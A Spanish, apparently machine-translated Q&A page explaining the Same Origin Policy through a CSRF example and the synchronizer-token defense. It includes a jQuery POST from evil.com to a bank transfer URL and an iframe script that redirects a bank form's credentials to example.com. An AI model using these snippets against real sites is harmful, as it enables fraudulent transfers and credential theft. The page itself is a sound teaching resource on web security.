security - imagen - Ejemplo simple de por qué se necesita la misma política de origen
en html, el atributo alt se emplea para (2)
He leído sobre la Same Origin Policy
, pero para una mejor comprensión del tema: ¿podría alguien escribir un código simple (en cualquier idioma) que demuestre un ataque que detiene el SOP?
¿Cómo fue posible atacar a alguien antes de que surgiera SOP?
Ejemplo de ataque simple: falsificación de solicitud entre sitios (CSRF)
En la página de evil.com
el atacante ha puesto (jQuery porque perezoso):
$.post(''http://bank.com/transfer'', { to: ''ciro'', ammount: ''100'' })
El atacante lo convence de visitar evil.com
(¡ evil.com
GANADO UN PREMIO!)
Sin más medidas de seguridad, esto funcionaría porque las cookies de autenticación de bank.com
serían enviadas y autentificadas.
Vea también: CSRF en OWASP .
La principal medida de seguridad: patrón token sincronizador.
La principal solución utilizada para el problema anterior es: para cada formulario en bank.com
, genere una secuencia aleatoria de una sola vez como un parámetro oculto, y solo acepte la solicitud si el servidor obtiene el parámetro.
Por ejemplo, los ayudantes de HTML de Rails agregan automáticamente un parámetro authenticity_token
al HTML, por lo que la forma legítima se vería así:
<form action="http://bank.com/transfer" method="post">
<p><input type="hidden" name="authenticity_token" value="j/DcoJ2VZvr7vdf8CHKsvjdlDbmiizaOb5B8DMALg6s=" ></p>
<p><input type="hidden" name="to" value="ciro"></p>
<p><input type="hidden" name="ammount" value="100"></p>
<p><button type="submit">Send 100$ to Ciro.</button></p>
</form>
Entonces, si evil.com
hace una solicitud de publicación única, nunca adivinaría ese token y el servidor rechazaría la transacción.
Pero entonces, lo que impide que evil.com
realice 2 solicitudes:
- XHR GET para el token
- XHR POST que contiene el token bueno
Aquí es donde entra en juego el SOP: el paso 1 está prohibido porque viola el SOP. El SOP le impide leer datos de solicitud cruzada de nuevo en JavaScript. Paso 2 sin embargo, es perfectamente posible.
Ver también: patrón de token del sincronizador en OWASP .
¿Por qué no simplemente no enviar cookies de solicitud cruzada?
Me preguntaba: pero ¿qué pasaría si las implementaciones tuvieran una regla como: "permitir cualquier solicitud, pero solo enviar cookies en el dominio actual XHR"?
Pero eso permitiría otro tipo de ataque: cuando la autenticación no se basa en cookies, sino en la fuente (IP) de la solicitud.
Por ejemplo, se encuentra en la intranet de su empresa y desde allí puede acceder a un servidor interno, que no es visible desde el exterior y sirve datos secretos.
¿Están prohibidas todas las solicitudes de origen cruzado?
¡Incluso olvidando CORS, no , los hacemos todos los días!
Desde MDN :
Las escrituras de origen cruzado están generalmente permitidas: enlaces, redirecciones y envío de formularios.
La incrustación de origen cruzado suele estar permitida: imágenes, CSS externo y Javascript, iframes.
Las lecturas de origen cruzado generalmente no están permitidas: XHR (ejemplo anterior), lectura
iframe
.Sin embargo, el acceso de lectura a menudo se filtra mediante incrustación. Por ejemplo, puede leer el ancho y el alto de una imagen incrustada, las acciones de un script incrustado o la disponibilidad de un recurso incrustado (y, por lo tanto, posiblemente si el usuario ha iniciado sesión o no en un dominio determinado)
Otros enfoques de prevención.
- verifica si ciertos encabezados están presentes, por ejemplo,
X-Requested-With
:- ¿Cuál es el punto del encabezado X-Requested-With?
- https://security.stackexchange.com/questions/23371/csrf-protection-with-custom-headers-and-without-validating-token
- ¿Es suficiente una comprobación del servidor de cabecera X-Requested-With para proteger contra un CSRF para una aplicación controlada por ajax?
- verifique el valor del encabezado de
Origin
: https://security.stackexchange.com/questions/91165/why-is-the-synchronizer-token-pattern-preferred-over-the-origin-header-check-to - re-autenticación: pídale al usuario nuevamente la contraseña. Esto se debe hacer para cada operación crítica (inicio de sesión de banco y transferencias, cambios de contraseña en la mayoría de los sitios web), en caso de que su sitio reciba XSSed. El inconveniente es que el usuario tiene que escribir su contraseña varias veces.
<iframe id="bank" src="https://yourbank.com"></iframe>
<script>
window.onload = function() {
document.getElementById(''bank'').contentWindow.document.forms[0].action =
''http://example.com'';
};
</script>
El código de Javascript cambia la propiedad de acción del formulario (el destino, en cuestión de hablar), por lo que cuando envía el formulario, me envía sus credenciales, no su banco.
Si configuro un script PHP en mi servidor que lo redirige a su banco, ni siquiera lo notará.
Con la Política del mismo origen, este ataque no es posible. Un sitio en mi dominio no puede leer ni modificar los contenidos del sitio web del banco.